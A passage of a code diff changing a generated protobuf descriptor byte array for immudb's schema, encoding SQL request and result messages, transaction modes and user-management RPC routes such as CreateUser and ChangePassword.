0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, + 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, + 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, + 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, + 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, + 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, + 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, + 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, + 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, + 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, + 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, + 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, + 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, + 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, + 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, + 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, + 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, + 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, + 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, + 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, + 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, + 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, + 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, + 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, + 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, + 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, + 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, + 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, + 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, + 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, + 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, + 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, + 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, + 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, + 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 